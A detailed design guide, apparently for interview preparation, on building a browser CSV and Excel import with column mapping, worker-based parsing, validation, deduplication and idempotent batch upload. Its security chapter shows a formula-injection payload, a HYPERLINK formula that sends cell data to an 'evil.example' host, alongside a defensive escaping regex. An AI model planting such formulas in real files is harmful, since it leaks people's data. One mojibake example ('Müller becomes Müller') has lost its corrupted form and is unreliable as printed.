Design a CSV import with column mapping

Requirements: what to ask before drawing anything

A CSV import turns a spreadsheet someone already has into records in your product. CSV means comma-separated values: a plain text file where each line is a row and commas split the cells. Almost every product with a list of things (contacts, products, transactions, employees) has an import page, because nobody wants to type 5,000 rows by hand.

It looks like a file input and a submit button. It becomes a design problem because the file comes from somewhere you don't control: an Excel export on a German laptop, a Salesforce report, a Google Sheets download, a script someone wrote in 2009. The columns have the wrong names, the dates are in a different order, the text is in a different encoding, and some rows are simply wrong. The import flow turns that mess into clean records, and lets the person fix what the code can't guess.

Four other guides cover the parts around this one, so this guide links to them instead of repeating them. The file-uploader guide covers picking files, drag and drop, and uploading bytes. The multi-step-form guide covers wizard navigation, step state, and saving drafts.

The data-table guide covers big scrolling tables, and the log-viewer guide covers holding millions of lines of text in a worker behind a byte index. This guide is about what happens to the data: parse, map, validate, import.

Questions that change the design

Functional requirements

• Accept a .csv, .tsv, .txt or .xlsx file, detect its encoding, delimiter and header row, and show the first rows so the user can confirm it was read correctly.
• For .xlsx files with several sheets, let the user pick the sheet.
• Suggest a mapping from each file column to a target field, let the user change any of it, ignore columns, and save the mapping as a template for next time.
• Convert and check every cell: numbers, dates, emails, phone numbers, enums such as lifecycle stage, and required fields.
• Show errors per cell, let the user fix them in place or skip bad rows, and download the bad rows as a CSV with an error column.
• Before importing, show what will happen: "1,204 new, 312 updates, 17 errors, 3 duplicates in the file".
• Send the rows, show progress, survive a dropped connection without duplicating anything, and finish with a summary.

Non-functional requirements, with numbers

• Never freeze the page. No task on the main thread over 50 ms while parsing or validating, the threshold browsers use for a long task. Typing in a cell fix and clicking Cancel must always respond.
• Fast first look. The preview shows the first 100 rows within about 1 second of choosing the file, even for a 100 MB file, because we only need the start of it.
• Full validation of 100,000 rows in a few seconds on a mid-range laptop, with progress shown.
• Memory. Peak memory for a 100 MB CSV should stay under about 200 MB. Browsers discard or crash tabs that use too much memory. On phones and low-memory laptops that can happen well below 1 GB, and the limit varies by device, so we design far below it.
• Exactly once. A retry after any failure must not create a record twice.
• Accessible. The mapping screen, the error view, and progress all work with a keyboard and a screen reader.

Out of scope, and why

• The upload widget itself (drop zone, file picker, progress for raw bytes): the file-uploader guide covers it.
• Scheduled imports from a URL or an SFTP folder: a server-side feature with no mapping screen.
• Exporting data to CSV: related, and we touch on it for the error file, but the form-builder guide covers export columns.
• Merging rows field by field with conflict resolution ("keep the newer phone"): we offer create, update or skip per row, which covers most imports.

What makes an import hard

Before choosing anything, name the properties of the problem that every later decision answers to. An import has five of them, and each one shows up as a support ticket when it is ignored.

• The input is hostile by accident. Nobody writes a bad CSV on purpose, but real files mix encodings, delimiters, quoting styles and date formats. "CSV" is less a format than a family of habits. Your parser has to guess well and let the user correct the guess.
• The input can be big. A 100 MB file is about 500,000 rows. Reading it as one string, splitting it into arrays, and validating it in one loop blocks the main thread for many seconds and can use the better part of a gigabyte of memory.
• The meaning lives in the user's head. Is Name the first name or the full name? Is 01/02/2026 the 1st of February or the 2nd of January? Is Status = Hot a lifecycle stage? Code can suggest, but only the person knows. The design has to ask the right question at the right time, and not ask 50 questions.
• Errors are the main screen, not an edge case. In a real 5,000 row file, some rows are always wrong: a missing email, a phone with a typo, a country spelled three ways. The user spends most of their time in the error view, so it has to be fast to scan and fast to fix.
• The write is big and not atomic. Thousands of records go to the server in many requests. Any of them can fail, the laptop can sleep, the user can close the tab. A retry must not double anything, and the user must know exactly what was imported.

Those five properties give the flow its shape: a pipeline of stages, each of which turns one representation into the next and can stop to ask the user. Bytes become text (decoding), text becomes rows of strings (parsing), columns get meaning (mapping), strings become typed values or errors (validation), valid rows meet existing records (matching), and the result goes to the server in batches (import).

Two rules fall out of the picture. First, every stage after the user picks the file runs in a Web Worker, a background thread with no access to the page, so that the page never freezes. The main thread only draws the screens and sends the user's choices to the worker.

Second, every stage keeps its input. When the user changes the delimiter, only parsing and what follows reruns. When they change one mapping, only that column is revalidated, and nobody re-reads a 100 MB file because they fixed one cell.

The UI around the pipeline is a wizard with four steps: Upload, Map, Review, Import. The multi-step-form guide covers how a wizard keeps step state, guards navigation and saves drafts. Here the interesting part is what each step computes, and which steps can be skipped: when a saved template matches every column exactly and there are no errors, the user goes from Upload straight to a confirmation with the counts.

Parsing CSV correctly: quotes, delimiters, encodings

The naive parser is two lines: split the text on newlines, then split each line on commas. It works on the first test file and breaks on the first real one. Here is a row exported from a CRM, where the address has a comma and a line break inside it, and the note has quotes:

email,name,address,note
ana@example.com,Ana Souza,"Rua Augusta 12, apt 3
São Paulo","Said ""call me after 5"""

Split on newlines and you get two broken rows. Split on commas and the address becomes two cells. The rules come from RFC 4180, an informational RFC from 2005 and the closest thing CSV has to a standard: a field that contains a comma, a double quote or a line break is wrapped in double quotes, and a double quote inside such a field is written twice (""). Records end with CRLF in the spec, but real files use LF too, and a few old Mac exports use a bare CR.

// The core of a CSV parser: one pass, one flag. State survives between chunks.
type State = { row: string[]; field: string; inQuotes: boolean; afterQuote: boolean };

function feed(s: State, text: string, delim: string, emit: (row: string[]) => void) {
  for (let i = 0; i < text.length; i++) {
    const c = text[i];
    if (s.inQuotes) {
      if (c !== '"') s.field += c;
      else if (text[i + 1] === '"') { s.field += '"'; i++; } // "" is one quote
      else { s.inQuotes = false; s.afterQuote = true; }
      continue;
    }
    if (c === '"' && s.field === "" && !s.afterQuote) s.inQuotes = true;
    else if (c === delim) { s.row.push(s.field); s.field = ""; s.afterQuote = false; }
    else if (c === "\n" || c === "\r") {
      if (c === "\r" && text[i + 1] === "\n") i++;
      s.row.push(s.field); emit(s.row);
      s.row = []; s.field = ""; s.afterQuote = false;
    } else s.field += c; // a stray quote mid-field is kept as text
  }
}

Sniffing the delimiter

Excel saves "CSV" with the list separator of the computer's region. In Germany, France, Spain, Brazil and most countries where the comma is the decimal mark, that separator is a semicolon, so 1,5 can stay a number. Tab-separated files come from database tools and from copying cells out of a spreadsheet. Some systems use a pipe |.

To guess, parse the first 20 or so records with each candidate (, ; \t |) using the quote-aware parser, and score each one: the delimiter wins if it gives more than one column and the same number of columns on almost every row. Counting raw characters is not enough: Smith, John inside quotes would vote for the comma. Papa Parse does the same on the first 10 rows; delimitersToGuess sets the candidates. Show the result ("Separated by semicolons") with a dropdown to change it, because the guess can tie, as on a one-column file.

Encodings and the BOM

A file is bytes, and an encoding is the rule for turning bytes into characters. Modern tools write UTF-8. Excel's plain "CSV" option on Windows writes the system's legacy code page instead: Windows-1252 in Western Europe and the Americas, Shift_JIS in Japan.

In Windows-1252, é is one byte, 0xE9. Read that byte as UTF-8 and it is invalid, so a lenient decoder prints Jos�. Go the other way, UTF-8 bytes read as Windows-1252, and Müller becomes Müller. Both are support tickets you have seen.

Excel's "CSV UTF-8" option adds a byte order mark (BOM), the three bytes EF BB BF at the start. It is a reliable sign of UTF-8. Left in, it becomes an invisible character glued to the first header, so a header that looks like email no longer equals email and auto-mapping fails for that one column. TextDecoder skips it by default (its ignoreBOM option is false); hand-written byte handling must strip it too.

The detection order is short. A UTF-8 BOM means UTF-8. A UTF-16 BOM (FF FE or FE FF) means UTF-16, which Excel's "Unicode text" export produces, usually tab-separated.

Otherwise, try a strict UTF-8 decode with new TextDecoder("utf-8", { fatal: true }): it throws a TypeError on the first invalid byte sequence, and real legacy text with accents almost never happens to be valid UTF-8. If it throws, fall back to the user's likely legacy encoding: Windows-1252 by default, Shift_JIS when the browser language is Japanese. Then show a sample with the accents and let the user switch encodings if it looks wrong.

function pickEncoding(head: Uint8Array, lang: string): string {
  if (head[0] === 0xef && head[1] === 0xbb && head[2] === 0xbf) return "utf-8";
  if (head[0] === 0xff && head[1] === 0xfe) return "utf-16le";
  if (head[0] === 0xfe && head[1] === 0xff) return "utf-16be";
  try {
    // stream: true so a character cut at the end of the sample doesn't throw
    new TextDecoder("utf-8", { fatal: true }).decode(head, { stream: true });
    return "utf-8";
  } catch {
    return lang.startsWith("ja") ? "shift_jis" : "windows-1252";
  }
}

Finding the header row

Most files have one header row, but not all. Reports often start with a title and a blank line ("Contacts export, 3 March"), and some files have no header at all. A cheap rule works well: the header is the first row that has the most common column count, whose cells are all non-empty text, and none of whose cells parse as a number, a date or an email.

Show the first rows with the chosen header highlighted and a "Header is on row 3" control. If there is no header, the mapper names the columns Column A, Column B and matches on the values instead.

Try it. Each preset below is a file we have seen in support tickets. The lab decodes the bytes, sniffs the delimiter, and parses the rows with the state machine above.

Big files and Excel workbooks without freezing the page

Now take the 100 MB, 500,000 row file from the requirements. The naive code is const text = await file.text(); const rows = parse(text); on the main thread, and three things go wrong. First, parsing 100 MB in one loop takes several seconds, and for all of it the page can't paint, scroll or react to Cancel.

Second, memory. The string alone takes 100 to 200 MB: V8, Chrome's JavaScript engine, stores a string at one byte per character only when every character fits in Latin-1, and at two bytes otherwise. The result, 10 million small strings inside 500,000 arrays, adds a rough estimate of 300 to 600 MB more, and on a 4 GB laptop with other tabs open that tab can crash.

Third, a hard limit. V8 caps a single string at about 536 million characters (2 to the 29th, minus a few), so file.text() on a file of more than about 512 MB throws instead of returning.

How streaming works

A File can be posted to a worker cheaply: structured clone passes a reference to the same bytes, it doesn't copy 100 MB. In the worker, file.stream() gives a ReadableStream of byte chunks, 64 KB each in Chrome and Firefox. Decode each chunk with a TextDecoder and { stream: true } (or pipe through TextDecoderStream), which holds back a multi-byte character cut at a chunk edge until the rest arrives. Feed each text chunk into the parser state from the previous chapter, which also survives a quoted field cut in half.

// parse.worker.ts
self.onmessage = async (e: MessageEvent<{ file: File; encoding: string; delim: string }>) => {
  const { file, encoding, delim } = e.data;
  const state = newState();
  let bytesRead = 0, rows = 0, lastPost = 0;
  const onParsedRow = (row: string[]) => {
    rows++;
    if (rows % 1000 === 0) checkpoints.push({ row: rows, byte: bytesRead }); // approximate, see text
    onRow(row); // map, validate, count; keep only errors and the key column
  };
  const reader = file.stream().getReader();
  const decoder = new TextDecoder(encoding);
  for (;;) {
    const { done, value } = await reader.read();
    if (done) break;
    bytesRead += value.byteLength;
    feed(state, decoder.decode(value, { stream: true }), delim, onParsedRow);
    if (performance.now() - lastPost > 100) {
      postMessage({ type: "progress", bytesRead, total: file.size, rows });
      lastPost = performance.now();
    }
  }
  feed(state, decoder.decode(), delim, onParsedRow); // flush the decoder
  finish(state, onParsedRow);                        // last row if the file has no final newline
  postMessage({ type: "done", rows, summary: summarize() });
};

The row index is how the worker finds rows again without keeping them. Every 1,000 rows it records where the row starts. The chunk-level byte count in the sketch is approximate; a real version counts the encoded length of each consumed character so the offset is exact.

To show rows 120,000 to 120,050, the worker calls file.slice(offset) from checkpoint 120,000, parses 50 rows and stops. Because a checkpoint is always at a row start, the parser starts outside quotes. The 500 checkpoints take a few tens of KB at most. The log-viewer guide builds the same kind of offset index for millions of log lines.

Papa Parse supports the same idea: pass the File with a step callback (one row at a time) or a chunk callback (many rows at a time) and it reads the file in slices, 10 MB by default, set with chunkSize, instead of loading everything. Its own worker: true option posts results back to the main thread, which then holds them. If you want the rows to stay in the worker, call Papa.parse inside your own worker without that option.

Cancel must work at any moment. The main thread calls worker.terminate(), which stops the worker instantly, frees its memory and needs no cooperation from the parsing loop. Starting again creates a new worker. The same applies when the user picks a different file mid-parse.

Excel files: sheets, serial dates and formulas

Many users never see a CSV. They have an .xlsx file and they drop it in. An .xlsx file is a ZIP archive of XML files: one per sheet, one for shared strings, one for styles.

Parsing it needs an unzip step and an XML reader. It also brings three surprises that CSV doesn't have: several sheets, dates stored as numbers, and formulas. And because the format is a ZIP, it changes the memory story from the start of this chapter.

Choosing the sheet

A workbook often has a data sheet plus a "Notes" or "Pivot" sheet. Read only the sheet names first: SheetJS has a bookSheets: true option that skips cell data. If there is one sheet, use it; if there are several, show the first few rows of each and preselect the one with the most rows. For that quick preview, the sheetRows option reads only the first N rows.

Dates are numbers

Excel stores a date as a serial number: days since a starting point, with the time of day as the fraction. In the default 1900 date system, serial 46024 is 2 January 2026 and 46024.5 is noon that day. The number is what is in the file; the date look comes from the cell's number format. So a library that ignores formats hands you 46024 in the birthday column, and validation fails every row.

• Use the cell's type and format to tell a date from a plain number. SheetJS gives each cell a raw value v, a type t, and formatted text w; with cellDates: true it returns date cells as Date objects.
• Date objects bring time zone shifts (midnight in one zone is the previous day in another), so for date-only fields convert the serial to a plain 2026-01-02 string yourself.
• Some files, mostly old Mac ones, use the 1904 date system, which is offset by 1,462 days. The workbook says which one it uses: SheetJS exposes the flag as wb.Workbook.WBProps.date1904.
• Excel's 1900 system counts a 29 February 1900 that never existed, a bug kept for Lotus 1-2-3 compatibility. It only matters for dates before March 1900, but a birthday column can have them.

Formulas, values and lost data

A formula cell stores both the formula (=B2*1.2) and the last value Excel calculated. Import the value, never the formula. SheetJS reads the stored value and does not recalculate. A file written by a script that never opened it in Excel may have formulas with no stored values; flag those cells as empty with a clear warning instead of importing blanks silently.

Some data is lost before it reaches you. Excel turns a ZIP code typed as 02134 into the number 2134, and shows a 12-digit phone number such as 491511234567 in a General-format cell as 4.91511E+11, which is also what its CSV export writes. You can't recover those digits. You can detect the pattern (a number in scientific notation in a phone column, a 4-digit US ZIP) and say what happened, so the user fixes the source instead of filing a bug.

Preview and column mapping

Once the file is parsed, the user needs to see two things: that it was read correctly, and which column feeds which field. The preview answers the first. It shows the first 100 rows (the data-table guide covers big tables) under the detected settings: "UTF-8, separated by semicolons, header on row 1, 48,210 rows".

A toggle switches each cell between the raw text from the file and the parsed value (03/04/2026 next to 2026-04-03). That is how users spot a wrong date format before importing 48,000 rows with it.

The mapping answers the second. Each file column gets a row in a table: the column header, three sample values, and a dropdown of target fields plus "Don't import". The target fields come from a schema the host app provides (see the component API in the architecture chapter). Required fields that nothing maps to are listed at the top, and the Next button stays enabled but explains what is missing when pressed, rather than sitting grey with no reason.

const norm = (s: string) =>
  s.normalize("NFKD").replace(/\p{M}/gu, "")      // strip accents: "Teléfono" to "Telefono"
   .toLowerCase().replace(/[^a-z0-9]/g, "");      // "E-mail Address" to "emailaddress"

function score(header: string, samples: string[], field: TargetField): number {
  const h = norm(header);
  if (h === norm(field.key) || h === norm(field.label)) return 1;
  if (field.synonyms?.some((s) => norm(s) === h)) return 0.95;
  let best = similarity(h, norm(field.label)); // e.g. Jaro-Winkler, 0 to 1
  const fit = samples.filter((v) => field.looksLike?.(v)).length / samples.length;
  if (fit > 0.8) best = Math.max(best, 0.7) + 0.1; // values fit the field
  return Math.min(best, 0.94);
}

// One-to-one: take the best remaining pair until scores drop below 0.6.
function assign(cols: Column[], fields: TargetField[]): Map<number, string> {
  const pairs = cols.flatMap((c, i) => fields.map((f) => ({ i, f: f.key, s: score(c.header, c.samples, f) })));
  pairs.sort((a, b) => b.s - a.s);
  const out = new Map<number, string>(), used = new Set<string>();
  for (const p of pairs) if (p.s >= 0.6 && !out.has(p.i) && !used.has(p.f)) { out.set(p.i, p.f); used.add(p.f); }
  return out;
}

One source to one target is the default rule: two columns can't both feed email. When the user picks a field that is already used, move it: the other column becomes unmapped and gets a visible "moved to Work email" note, so nothing changes silently. A few products allow combining columns (First plus Last into a full name) or splitting one; treat those as explicit transforms with their own UI, not as a side effect of the dropdown.

Templates for repeat imports

The user who imports the Monday export every week shouldn't map 14 columns every week. When an import finishes, offer "Save this mapping". Store it on the server per workspace, with the normalized headers, the mapping, and the choices made along the way (date format, encoding, update mode).

On the next file, compute the same header signature. If a template matches every header, apply it and say so ("Using your template Weekly leads"); if it matches most headers, apply what matches and mark the rest for review. Templates belong on the server, not in localStorage, so the whole team shares them and they survive a new laptop.

Transforming and validating every cell

After mapping, every cell is still a string. Transformation turns it into the field's type ("1.234,50" into 1234.5, "03/04/2026" into 2026-04-03, "Yes" into true). Validation checks the result against the field's rules (required, unique, a real email, a phone that can exist).

A cell either becomes a clean value or an error with a row, a column, a code and a plain message. The input-validation lesson covers the general principle; here we apply it to millions of cells at once.

The tricky types

The date rule deserves a closer look, because it is where silent data corruption hides. If a column holds 05/06/1988, 11/09/1975 and 12/01/1992, every value is valid both ways. Picking one silently means that for some users every birthday shifts by months, with no error to warn anyone.

So when the column doesn't decide, the Review step asks one question: "Dates like 05/06/1988 are: Day first (5 June) or Month first (May 6)". The default comes from the user's locale, and the answer is saved in the template. The locale-formatting lesson covers why locale defaults are a guess, not a fact.

type CellError = { row: number; col: number; code: string; message: string };

type FieldRule = {
  key: string; label: string; required?: boolean; unique?: boolean;
  parse: (raw: string, ctx: ColumnContext) => { value: unknown } | { error: string };
};

// In the worker, per row. ctx holds per-column choices: date order, decimal mark, value map.
function validateRow(cells: string[], rowIndex: number, plan: MappedColumn[]): CellError[] {
  const errors: CellError[] = [];
  for (const { col, rule, ctx } of plan) {
    const raw = (edits.get(rowIndex)?.get(col) ?? cells[col] ?? "").trim();
    if (raw === "") {
      if (rule.required) errors.push({ row: rowIndex, col, code: "required", message: rule.label + " is required" });
      continue;
    }
    const r = rule.parse(raw, ctx);
    if ("error" in r) errors.push({ row: rowIndex, col, code: "invalid", message: r.error });
  }
  return errors;
}

Showing and fixing errors

The Review step leads with a summary ("17 errors in 12 rows: 9 invalid phone, 5 missing email, 3 unknown country") and a toggle that shows only rows with errors. Each bad cell has a red outline, an icon, and its message on focus, so color is never the only signal.

The user can type a fix into the cell, which the worker revalidates in about a millisecond; use bulk actions ("Set all 3 unknown countries Deutschland to Germany", "Clear 9 invalid phones"); or skip the row. Skipped and still-invalid rows are simply not imported. The user doesn't have to reach zero errors to continue, as long as they confirm.

For files with thousands of errors, fixing in the browser is the wrong tool. Offer Download rows with errors: a CSV of only the bad rows with an extra Error column, which the user fixes in Excel and imports again. Building that file means writing user data into a spreadsheet, so it must escape formulas (see the security chapter).

Try the whole loop in the lab below: headers auto-match with scores, you can change any mapping, pick the date order, and watch the per-cell errors and the counts update.

Duplicates, updates and the preview counts

Many imports are not new data. They are last month's list with changes: new phone numbers, a new lifecycle stage, 200 new people. Import them naively, always creating, and the CRM fills with two copies of everyone.

So the import needs a match key, a field that identifies a record, and a rule for what to do when a row matches an existing record. For contacts the key is email; for products it is the SKU; for transactions an external ID.

Normalize the key the same way on both sides before comparing: trim spaces and lowercase the email. Keep the rule conservative. Treating a.b@gmail.com and ab@gmail.com as the same person is true for Gmail and false for most other providers, so it does not belong in a generic import.

• Create only: rows whose key exists are skipped. Safe for adding a new list.
• Update only: rows whose key doesn't exist are skipped. Safe for enriching existing records without adding anyone.
• Create and update (an upsert): new keys create, existing keys update. The common choice for repeat imports.

Updates raise one more question: what does an empty cell mean? In a file where the phone column is blank for a contact who has a phone, the user almost never means "delete the phone". The default is don't overwrite with blanks, with a checkbox to change it. Duplicates inside the file get a rule too: the first occurrence wins by default and the repeats are flagged in the Review step, because silently picking the last one surprises people.

Sending rows: batches, idempotency and resuming

This chapter explains the 4,000 duplicate contacts from the support ticket. The old flow sent all rows in one POST. The request took 90 seconds, the load balancer timed out at 60, the browser showed an error, and the user clicked Retry.

But the server had kept working after the timeout and created every contact, so the retry created them all again. Two lessons: big writes must be split, and every write must be safe to repeat.

Making every batch safe to repeat

A request is idempotent when sending it twice has the same effect as sending it once. PUT /imports/imp_42/batches/17 is idempotent: the server stores batch 17 of job 42 once, and a second PUT with the same number finds it and returns the stored result. For APIs where the client can't name the resource, the same idea is an Idempotency-Key header with a unique value per logical request, popularized by Stripe and described in an IETF draft. Either way the client can retry any batch after a timeout without asking "did it go through?".

The worker keeps 3 batches in flight. A failed batch waits with exponential backoff and jitter (1 s, 2 s, 4 s, plus a random part, as the retries-and-backoff lesson explains) and is retried up to 5 times. A 4xx other than 408 and 429 is not retried: the batch itself is wrong, so its rows are marked failed with the server's message and the import continues. With 500 rows of about 300 bytes each, a batch is about 150 KB, which uploads in a few seconds even on a slow connection.

Resuming after a closed tab

The job id goes in the URL (/imports/imp_42), so a reload lands on the job. GET /imports/imp_42 returns its status and the batch numbers already received. The transformed rows, though, lived in the worker and are gone. We deliberately don't save them in IndexedDB: that would leave thousands of people's personal data on the disk of a shared laptop.

Instead the page asks the user to pick the same file again and checks it against a fingerprint stored with the job: name, size, lastModified, and a SHA-256 of the first 1 MB from crypto.subtle.digest. It then re-runs the pipeline with the saved settings and sends only the missing batches. Inline edits went to the server as a small patch list when the job was created, and the job returns them on resume, so they survive too.

Processing, progress and partial success

After commit, the server works through the batches in a background job. 500,000 rows can take minutes, so the user must be free to leave the page. Progress comes over server-sent events (GET /imports/imp_42/events, see the server-sent-events lesson): one event per few thousand rows with counts, and a final done event with the summary.

If the stream drops, EventSource reconnects on its own; as a fallback the page polls GET /imports/imp_42 every 5 seconds. When the job finishes while the user is elsewhere, the notifications center tells them.

An import of 500,000 rows is not one database transaction, and pretending it is would lock tables for minutes. The semantics are partial success per row: each row is created, updated, skipped or failed, and the summary says how many of each, with a download of the failed rows and their reasons. Because every record carries the import id, "Undo this import" can delete the created records within a time window. Updates can't be undone this way unless the server also saves the old values, so say so in the confirmation.

Architecture, data model and interfaces

The pieces are now clear. The main rule for drawing boundaries: the main thread owns screens and choices, the worker owns rows, the server owns records. Rows never live in React state, because 500,000 rows in a state store would make every render and every devtools snapshot slow. React state holds only what the screens show: settings, the mapping, counts, and the page of rows currently visible.

Why does the worker send the batches itself, rather than handing rows back to the main thread to fetch? Because handing them back means copying 500,000 rows across threads and holding them in the page. fetch works in workers, and the worker already has the rows.

The main thread passes the job id and auth context in; the worker reports progress out. If the app uses cookie authentication this is free, because a same-origin fetch from a worker sends the cookies. With bearer tokens, the main thread posts a fresh token to the worker whenever it refreshes one.

Client data model

// Main thread: small, serializable, drives the screens. Saved as a template on success.
type ImportSettings = {
  encoding: string;            // "utf-8" | "windows-1252" | "shift_jis" ...
  delimiter: string;           // "," | ";" | "\t" | "|"
  headerRow: number;
  sheet?: string;              // xlsx only
  mapping: Record<number, string | null>;   // column index to field key, null = ignore
  columnOptions: Record<string, { dateOrder?: "DMY" | "MDY" | "YMD"; decimal?: "." | ","; valueMap?: Record<string, string> }>;
  mode: "create" | "update" | "upsert";
  overwriteBlanks: boolean;
};

type ImportSummary = { rows: number; valid: number; errors: number; duplicatesInFile: number; toCreate: number; toUpdate: number; toSkip: number };

// Worker only: never crosses to the main thread in full.
type WorkerStore = {
  file: File;
  checkpoints: { row: number; byte: number }[];         // every 1,000th row
  rows?: string[][];                                    // small files only
  edits: Map<number, Map<number, string>>;              // row, then column, to fixed text
  skipped: Set<number>;
  errors: CellError[];                                  // sorted by row
  keys: Map<string, number>;                            // normalized key to first row
};

ImportSettings is everything a person decided. It is small, so it goes in the wizard reducer and in sessionStorage (a reload keeps the mapping), and it becomes the template on success. Nothing in it is personal data, apart from distinct enum values in valueMap, which are categories like Hot, not people.

WorkerStore is everything derived from the file. The form-state lesson's split between "what the user chose" and "what we computed" applies here at a larger scale.

Interface: the component API and the server API

The importer is used by several products (contacts, products, deals), so it is a component with a target schema passed in, not a contacts page. Products describe their fields; the importer does the rest. Embeddable importers such as Flatfile (whose schema is called a Blueprint), OneSchema (templates) and CSVBox are built around the same idea. The usual component rule applies: make the common case one prop, and give escape hatches as callbacks.

type FieldType = "text" | "email" | "phone" | "number" | "date" | "boolean" | "enum";

type TargetField = {
  key: string; label: string; type: FieldType;
  required?: boolean; unique?: boolean;          // unique fields can be the match key
  synonyms?: string[];                           // extra header names to match
  options?: { value: string; label: string }[];  // for enum
  validate?: (value: unknown, row: Record<string, unknown>) => string | null; // must be pure: runs in the worker
};

type CsvImporterProps = {
  schema: { entity: string; fields: TargetField[]; matchKey?: string };
  limits?: { maxBytes?: number; maxRows?: number };       // default 100 MB, 500,000
  // Either let the importer talk to the import job API...
  jobApi?: { baseUrl: string };
  // ...or take each batch yourself (small imports, custom backends). Must be idempotent per batchId.
  onSubmitBatch?: (batch: { batchId: string; rows: Record<string, unknown>[] }) => Promise<BatchResult>;
  templates?: { list: () => Promise<Template[]>; save: (t: Template) => Promise<void> };
  onComplete?: (summary: ImportSummary) => void;
  locale?: string;                                         // defaults for numbers and dates
};

Two submission modes cover two kinds of host. The job API mode is for big imports and gives resuming, SSE progress and undo. The onSubmitBatch mode is for small imports into an existing endpoint: the worker posts each batch to the page, which calls the callback, so rows do cross threads, one batch at a time.

In this mode the importer still batches, retries and passes a stable batchId, and the host promises to treat a repeated batchId as a no-op. BatchResult returns per-row outcomes so server errors land on the right cells in the Review step.

POST /contacts/lookup            { "keys": ["ana@example.com", ...] }      // up to 1,000
  200 { "existing": ["ana@example.com"] }

POST /imports                    { "entity": "contacts", "settings": {...}, "edits": [...],
                                   "fingerprint": {...}, "totalBatches": 100 }
  201 { "id": "imp_42", "status": "receiving" }

PUT  /imports/imp_42/batches/17  { "rows": [{ "rowNumber": 8001, "email": "...", ... }] }
  200 { "accepted": 498, "rejected": [{ "rowNumber": 8044, "field": "email",
                                        "code": "taken_by_other_account", "message": "..." }] }

GET  /imports/imp_42             { "status": "receiving", "received": [1, 2, ..., 16, 18] }
POST /imports/imp_42/commit      202 { "status": "processing" }
GET  /imports/imp_42/events      text/event-stream
  event: progress   data: {"processed": 20000, "created": 15800, "updated": 4100, "failed": 100}
  event: done       data: {"summary": {...}, "failedRowsUrl": "/imports/imp_42/failed.csv"}
POST /imports/imp_42/undo        202

The error format is the same everywhere: rowNumber, field, a stable code for logic and a message for people. The client shows the message but keys behavior on the code, for example offering "skip all rows with taken_by_other_account". Message text changes with every copy edit and translation; codes don't.

Security, privacy and accessibility

Formula injection in the error file

The "Download rows with errors" file is written from user-supplied cells and opened in Excel. If a cell starts with =, Excel treats it as a formula. A contact named =HYPERLINK("https://evil.example/?d="&A2,"Click") becomes a link that sends the neighbouring cell to an attacker when clicked; older tricks used formulas that ran commands.

This is CSV injection (or formula injection). OWASP lists the characters that start a formula: =, +, -, @, tab, carriage return and line feed, plus full-width variants such as ＝ that some locales, Japanese for example, also treat as formulas.

The defense when writing a cell: if it starts with one of those characters, prefix it with a single quote ' so the spreadsheet shows it as text; then quote the field and double any quotes inside, as RFC 4180 requires. Papa Parse's unparse has an escapeFormulae option that does the prefixing for all of them except line feed; pass your own regular expression to cover the rest. Apply it to text fields only: a negative number in a numeric column should stay -42.

OWASP also warns that Excel can drop the quote when a file is saved and reopened, so escaping lowers the risk rather than removing it. The same rules apply to the product's regular CSV export, which the form-builder guide discusses.

const FORMULA_START = /^[=+\-@\t\r\n＝＋－＠]/;

function csvCell(value: string, isText: boolean, delim = ","): string {
  const safe = isText && FORMULA_START.test(value) ? "'" + value : value;
  const needsQuotes = safe.includes(delim) || /["\r\n]/.test(safe);
  return needsQuotes ? '"' + safe.replaceAll('"', '""') + '"' : safe;
}

• Rendering cells. Every value is rendered as text by React, never through innerHTML, so a cell holding <img onerror> stays harmless text. The xss lesson covers why text rendering is the default to keep.
• Limits before work. Check file.size before reading anything and stop parsing at the row limit with a clear message. An .xlsx file is a ZIP, so a 1 MB file can expand to gigabytes; read sheets with a row cap and run the parse with a time limit after which the main thread terminates the worker.
• Personal data in memory. Rows live only in the worker, and the worker is terminated when the import finishes or the user leaves, which frees them. Nothing is written to IndexedDB or localStorage.
• Personal data in logs. Error tracking and analytics get counts, error codes, file size and timings, never cell values or headers that could contain names. A parse error report says "unclosed quote at row 8,044", not the row.
• Server is the gate. Permissions, plan limits ("your plan allows 10,000 contacts") and re-validation happen on the server for every batch.

Accessibility

The mapping screen is a real table: each row has the column header as a row header, sample values, and a native select whose accessible name says what it does, such as "Map column E-mail Address to field". Native selects come with keyboard and screen reader support for free; a custom combobox needs the full ARIA pattern. Confidence is shown as text ("Suggested, 71% match, please check") as well as color.

The Review step starts with an error summary: a heading with the count, then a list of links ("Row 14: email is required") that move focus to the cell. Each invalid cell's input has aria-invalid="true" and aria-describedby pointing at its message. When the user moves to a new step, focus goes to the step heading so a screen reader starts at the top.

Progress uses a native progress element with a label, plus a polite live region that speaks at milestones, every 25% or so, and at the end ("Import finished: 48,100 imported, 93 failed"). Announcing every progress event would make a screen reader talk without pause for minutes.

Running it in the interview

In 45 minutes you can't cover every chapter, and you shouldn't try. The interviewer wants to see that you find the hard parts fast, make decisions with reasons, and know the traps hiding in real files. A plan that works:

1. Minutes 0 to 5: scope. Ask about file size, formats, the target entity, duplicates and who imports. Write the numbers down: 500,000 rows, 100 MB, match on email.
2. Minutes 5 to 10: the pipeline. Draw the six stages and say the two rules out loud: everything after the file pick runs in a worker, and each stage keeps its input so a change reruns only what follows.
3. Minutes 10 to 25: two or three deep dives. Pick parsing (quotes, delimiter sniffing, encoding with a strict decode), mapping (layered scores, one-to-one, templates) and validation (ambiguous dates asked once per column). Use real examples: Müller turning into Müller, 01/02/2026.
4. Minutes 25 to 35: sending. Tell the duplicate story, then the import job with numbered, idempotent batches, backoff, resume by re-selecting the file, SSE progress and per-row partial success.
5. Minutes 35 to 45: the rest. Component API with the schema prop, CSV injection in the error file, PII, and the accessible error summary. Leave time for questions.

Draw the pipeline first, not the wizard screens: the screens follow from the stages. Say numbers whenever you can ("a 100 MB file as JS strings is several hundred MB, so rows stay in the worker and we keep a checkpoint every 1,000 rows"). Interviewers remember a candidate who knows that German Excel writes semicolons.